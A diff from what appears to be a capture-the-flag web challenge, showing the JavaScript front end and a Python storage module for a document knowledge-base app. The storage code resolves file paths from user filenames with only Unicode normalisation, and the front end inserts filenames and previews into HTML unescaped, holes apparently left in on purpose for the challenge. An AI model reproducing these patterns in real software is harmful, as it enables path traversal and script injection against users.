console.error(`Error uploading ${file.name}: ${data.detail}`);
|
||||
}
|
||||
} catch (error) {
|
||||
console.error(`Error uploading ${file.name}: ${error.message}`);
|
||||
}
|
||||
}
|
||||
|
||||
fileInput.value = '';
|
||||
}
|
||||
|
||||
async function searchDocuments() {
|
||||
const searchInput = document.getElementById('searchInput');
|
||||
const query = searchInput.value.trim();
|
||||
|
||||
if (!query) {
|
||||
messagesContainer.innerHTML = '<div class="p-4 rounded-lg bg-red-50 dark:bg-red-950/50 border border-red-200 dark:border-red-900/50"><p class="text-red-700 dark:text-red-400">Please enter a search query</p></div>';
|
||||
return;
|
||||
}
|
||||
|
||||
// Show loading state
|
||||
messagesContainer.innerHTML = '<div class="p-4 rounded-lg bg-white dark:bg-stone-900 border border-gray-200 dark:border-stone-700"><p class="text-gray-600 dark:text-stone-300">Searching...</p></div>';
|
||||
|
||||
try {
|
||||
const response = await fetch(`/api/query`, {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/json'
|
||||
},
|
||||
body: JSON.stringify({ query })
|
||||
});
|
||||
|
||||
const data = await response.json();
|
||||
|
||||
if (response.ok) {
|
||||
if (data.count === 0) {
|
||||
messagesContainer.innerHTML = '<div class="p-4 rounded-lg bg-white dark:bg-stone-900 border border-gray-200 dark:border-stone-700"><p class="text-gray-600 dark:text-stone-300">No documents found matching your query</p></div>';
|
||||
} else {
|
||||
let resultsHTML = `<div><p class="font-medium text-gray-900 dark:text-stone-100 mb-3">Found ${data.count} result(s):</p>`;
|
||||
|
||||
data.matches.forEach((match, idx) => {
|
||||
const preview = match.document ? match.document.substring(0, 200) + '...' : 'No preview';
|
||||
const filename = match.metadata?.filename || 'Unknown';
|
||||
const docId = match.doc_id;
|
||||
|
||||
resultsHTML += `
|
||||
<div class="mb-3 p-3 bg-gray-50 dark:bg-stone-800/50 rounded-lg border border-gray-200 dark:border-stone-600 cursor-pointer hover:bg-gray-100 dark:hover:bg-stone-800" onclick="viewDocument('${docId}', '${filename.replace(/'/g, "\\'")}')">
|
||||
<div class="flex justify-between items-start mb-2">
|
||||
<div class="flex-1">
|
||||
<p class="text-sm font-medium text-gray-900 dark:text-stone-100">${idx + 1}. ${filename}</p>
|
||||
<p class="text-xs text-gray-500 dark:text-stone-400">Distance: ${match.distance?.toFixed(4) || 'N/A'}</p>
|
||||
</div>
|
||||
</div>
|
||||
<p class="text-sm text-gray-700 dark:text-stone-300 mt-2">${preview}</p>
|
||||
</div>
|
||||
`;
|
||||
});
|
||||
|
||||
resultsHTML += '</div>';
|
||||
messagesContainer.innerHTML = resultsHTML;
|
||||
}
|
||||
} else {
|
||||
messagesContainer.innerHTML = `<div class="p-4 rounded-lg bg-red-50 dark:bg-red-950/50 border border-red-200 dark:border-red-900/50"><p class="text-red-700 dark:text-red-400">Error: ${data.detail}</p></div>`;
|
||||
}
|
||||
} catch (error) {
|
||||
messagesContainer.innerHTML = `<div class="p-4 rounded-lg bg-red-50 dark:bg-red-950/50 border border-red-200 dark:border-red-900/50"><p class="text-red-700 dark:text-red-400">Error searching: ${error.message}</p></div>`;
|
||||
}
|
||||
}
|
||||
|
||||
async function deleteDocFromList(docId) {
|
||||
try {
|
||||
const response = await fetch(`/api/docs/${docId}`, {
|
||||
method: 'DELETE'
|
||||
});
|
||||
|
||||
const data = await response.json();
|
||||
|
||||
if (response.ok) {
|
||||
uploadedDocs = uploadedDocs.filter(doc => doc.id !== docId);
|
||||
updateDocumentsList();
|
||||
} else {
|
||||
addMessage(`<p class="text-red-700 dark:text-red-400">Error: ${data.detail}</p>`, 'error');
|
||||
}
|
||||
} catch (error) {
|
||||
addMessage(`<p class="text-red-700 dark:text-red-400">Error deleting document: ${error.message}</p>`, 'error');
|
||||
}
|
||||
}
|
||||
|
||||
async function deleteDoc(docId) {
|
||||
if (!confirm('Are you sure you want to delete this document?')) {
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
const response = await fetch(`/docs/${docId}`, {
|
||||
method: 'DELETE'
|
||||
});
|
||||
|
||||
const data = await response.json();
|
||||
|
||||
if (response.ok) {
|
||||
addMessage(`<p class="text-green-700 dark:text-green-400">Document deleted successfully (ID: ${docId})</p>`, 'success');
|
||||
} else {
|
||||
addMessage(`<p class="text-red-700 dark:text-red-400">Error: ${data.detail}</p>`, 'error');
|
||||
}
|
||||
} catch (error) {
|
||||
addMessage(`<p class="text-red-700 dark:text-red-400">Error deleting document: ${error.message}</p>`, 'error');
|
||||
}
|
||||
}
|
||||
|
||||
async function viewDocument(docId, filename) {
|
||||
const modal = document.getElementById('docModal');
|
||||
const title = document.getElementById('docModalTitle');
|
||||
const content = document.getElementById('docModalContent');
|
||||
|
||||
title.textContent = filename;
|
||||
content.textContent = 'Loading...';
|
||||
modal.classList.remove('hidden');
|
||||
|
||||
try {
|
||||
const response = await fetch(`/api/docs/${encodeURIComponent(filename)}`);
|
||||
|
||||
if (response.ok) {
|
||||
const text = await response.text();
|
||||
content.textContent = text || 'No content available';
|
||||
} else {
|
||||
const errorData = await response.json();
|
||||
content.textContent = `Error: ${errorData.detail}`;
|
||||
}
|
||||
} catch (error) {
|
||||
content.textContent = `Error loading document: ${error.message}`;
|
||||
}
|
||||
}
|
||||
|
||||
function closeDocModal() {
|
||||
document.getElementById('docModal').classList.add('hidden');
|
||||
}
|
||||
|
||||
// Close modal on Escape key
|
||||
document.addEventListener('keydown', (e) => {
|
||||
if (e.key === 'Escape') {
|
||||
closeDocModal();
|
||||
}
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
25
2026/cscg/web/knowledge-base/src/storage.py
Normal file
25
2026/cscg/web/knowledge-base/src/storage.py
Normal file
@@ -0,0 +1,25 @@
|
||||
from dataclasses import dataclass
|
||||
from pathlib import Path
|
||||
import re
|
||||
import unicodedata
|
||||
import uuid
|
||||
|
||||
DOCS_DIR = Path(__file__).parent.parent / "docs"
|
||||
DOCS_DIR.mkdir(exist_ok=True)
|
||||
|
||||
@dataclass
|
||||
class Doc:
|
||||
id: str
|
||||
filename: str
|
||||
content: str
|
||||
|
||||
def extract_text(filename: str, content: bytes) -> Doc:
|
||||
text = content.decode("utf-8", errors="ignore")
|
||||
text = unicodedata.normalize("NFKC", text)
|
||||
text = re.sub(r"[^\x20-\x7E\t\n\r]+", " ", text)
|
||||
sanitized = unicodedata.normalize("NFKC", filename)
|
||||
return Doc(id=str(uuid.uuid4()), filename=sanitized, content=text)
|
||||
|
||||
def get_doc_path(filename: str) -> Path:
|
||||
sanitized = unicodedata.normalize("NFKC", filename)
|
||||
return DOCS_DIR / sanitized
|
||||
1496
2026/cscg/web/knowledge-base/uv.lock
generated
Normal file
1496
2026/cscg/web/knowledge-base/uv.lock
generated
Normal file
File diff suppressed because it is too large
Load Diff
Reference in New Issue
Block a user